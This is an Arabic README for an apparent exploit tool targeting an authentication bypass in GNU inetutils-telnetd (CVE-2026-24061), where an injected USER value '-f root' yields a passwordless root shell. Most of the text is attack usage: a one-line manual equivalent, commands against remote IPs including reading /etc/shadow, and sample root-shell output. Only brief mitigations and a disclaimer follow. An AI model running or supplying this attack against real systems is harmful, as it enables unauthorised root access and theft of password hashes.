
# ثغرة تجاوز المصادقة في inetutils-telnetd - تعمل
إثبات مفهوم لاستغلال ثغرة تجاوز المصادقة في GNU inetutils-telnetd.
CVE-2026-24061 هي ثغرة حرجة في تجاوز المصادقة تؤثر على إصدارات inetutils-telnetd من 1.9.3 حتى 2.7. تسمح لمهاجم عن بُعد بالحصول على صلاحيات الجذر (root shell) على الأنظمة الضعيفة دون تقديم أي بيانات اعتماد.
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2026-24061 |
| البرنامج المتأثر | GNU inetutils-telnetd |
| الإصدارات المتأثرة | 1.9.3 – 2.7 |
| نوع الثغرة | تجاوز المصادقة |
| درجة CVSS | حرجة |
| متجه الهجوم | الشبكة |
تستغل الثغرة خللاً في طريقة تعامل telnetd مع متغير البيئة USER المستلم عبر خيار TELNET NEW-ENVIRON (RFC 1572) أثناء التفاوض على البروتوكول.
تفاوض بروتوكول TELNET: عندما يتصل عميل، يتفاوض الخادم والعميل على الإمكانيات بما في ذلك خيار NEW-ENVIRON، الذي يسمح للعميل بإرسال متغيرات البيئة.
قيمة USER الخبيثة: يرسل الاستغلال USER=-f root كمتغير بيئة خلال مرحلة التفاوض هذه.
تمرير الوسائط غير الآمن: يمرر telnetd الضعيف هذه القيمة دون تنقية إلى برنامج login.
حقن الأوامر: يفسر برنامج login قيمة -f root كخيارات سطر أوامر:
-f = "فرض تسجيل الدخول دون مصادقة"root = اسم المستخدم لتسجيل الدخول بهالوصول إلى الجذر: يحصل المهاجم على صلاحيات الجذر دون أن يُطلب منه كلمة مرور إطلاقاً.
يرسل العميل: USER = "-f root"
ينفذ telnetd: login -f root
النتيجة: منح صلاحيات الجذر دون مصادقة
هذا يعادل تشغيل USER='-f root' telnet -a localhost على نظام يحتوي على telnetd ضعيف.
git clone https://github.com/yourusername/CVE-2026-24061.git
cd CVE-2026-24061
chmod +x exploit.py
./exploit.py [OPTIONS] <target>
| الخيار | الوصف | الافتراضي |
|---|---|---|
host | اسم المضيف أو عنوان IP الهدف | مطلوب |
-p, --port | منفذ الهدف | 23 |
-u, --user | قيمة USER للحقن | -f root |
-c, --command | تنفيذ أمر واحد (غير تفاعلي) | لا شيء |
-t, --timeout | مهلة الاتصال بالثواني | 10 |
صلاحيات جذر تفاعلية على localhost:
./exploit.py localhost
صلاحيات جذر تفاعلية على مضيف بعيد:
./exploit.py 192.168.1.100
تنفيذ أمر واحد والخروج:
./exploit.py -c "id" localhost
./exploit.py -c "cat /etc/shadow" 192.168.1.100
./exploit.py -c "whoami && hostname" target.local
تسجيل الدخول كمستخدم مختلف:
./exploit.py -u "-f admin" localhost
./exploit.py -u "-f postgres" database-server
منفذ غير قياسي:
./exploit.py -p 2323 localhost
دمج الخيارات:
./exploit.py -p 2323 -c "uname -a" -t 5 192.168.1.100
عند التشغيل دون علامة -c، يمنحك الاستغلال قشرة تفاعلية:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - inetutils-telnetd Authentication Bypass ║
║ Affects: inetutils-telnetd 1.9.3 - 2.7 ║
╚══════════════════════════════════════════════════════════════╝
[*] Connected to 192.168.1.100:23
[*] Negotiating TELNET options...
[*] Agreed to NEW-ENVIRON (sending USER='-f root')
[+] Sent USER='-f root' via NEW-ENVIRON
Linux vulnerable-host 5.15.0 #1 SMP x86_64 GNU/Linux
root@vulnerable-host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnerable-host:~#
تعطيل telnetd: إذا لم يكن مطلوباً بشكل صارم، قم بتعطيل خدمة telnet بالكامل
sudo systemctl stop inetutils-telnetd
sudo systemctl disable inetutils-telnetd
استخدم SSH بدلاً من ذلك: استبدل telnet بـ SSH للوصول عن بُعد
sudo apt install openssh-server
قواعد جدار الحماية: احظر المنفذ 23 من الشبكات غير الموثوقة
sudo ufw deny 23/tcp
ينفذ الاستغلال عميل TELNET بسيط يقوم بـ:
USER=-f root في استجابة ENV_ISهذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مصرح بها فقط.
رخصة MIT — راجع LICENSE للتفاصيل.